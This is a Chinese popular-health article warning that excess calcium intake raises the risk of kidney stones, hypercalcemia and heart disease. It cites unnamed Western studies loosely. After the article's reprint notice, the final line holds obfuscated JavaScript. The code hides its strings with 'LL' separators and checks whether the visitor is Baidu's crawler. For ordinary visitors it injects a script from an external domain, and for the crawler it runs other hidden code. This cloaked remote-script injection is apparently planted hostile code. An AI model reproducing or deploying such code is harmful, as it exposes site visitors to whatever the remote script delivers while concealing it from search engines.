当前位置:首页 > 健康 > 常见疾病 > 正文

钙摄入过多有危害

2017-06-17 19:51:01  来源:360常识网   热度:
导语:大家平时都在提倡要多多补充钙的吸收,无论老少,都认为钙的补充越多越好。在某种程度上,钙质的吸收的确有利于骨骼的成长和健康。然后,作

大家平时都在提倡要多多补充钙的吸收,无论老少,都认为钙的补充越多越好。在某种程度上,钙质的吸收的确有利于骨骼的成长和健康。然后,作为金属元素,钙质的吸收也不是越多越好。钙摄入过多有危害,大家一定要注意这一点,不能盲目补钙。无论男女老少,补钙都要在医生或者医院报告指导下进行。接下来我就给大家讲讲过多摄入的危害。

过量补钙危害多

医师指出,近年来由于广告宣传,老年人补钙成了防治骨质疏松的重要手段,但是美国、瑞士等西方发达国家研究发现,钙不仅不能有效地降低骨质疏松骨折的发生率,相反,骨质疏松患者在摄入高钙后髋部骨折的危险性上升了50%,而对于老年人来说还会导致结石病的发生。

出现这种情况的原因是什么呢?医师指出,钙并非那么容易被人体吸收,如果过多摄入却不能吸收,又同时摄入草酸类物质,就可能结合后形成草酸钙结石。而草酸大量存在于各种蔬菜类食物中,例如菠菜,有些非常细小的结石结晶可以通过尿液排出,稍大一些的就可能引起肾绞痛,导致尿血,更严重的引起肾损害。

此外,过量补钙心脏也可能会受伤,若过量补钙可能导致血液中钙含量增加导致高钙血症,结果会加速动脉中沉积物的形成,导致异位钙化,最终由于动脉粥样硬化,加速形成了心脏病。

看了上面的专业分析,我想大部分人都会感觉到十分惊讶,平常大家认为是好东西的钙,过多地摄入竟然会对身体造成如此大的影响。所以,万事万物都要遵循适可而止的原则,万万不可盲目地摄入钙。大家要记住,钙摄入过多对身体的危害,补钙需要在专业指导下进行。

转载申明:360常识网,欢迎分享,转载请注明出处!

if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}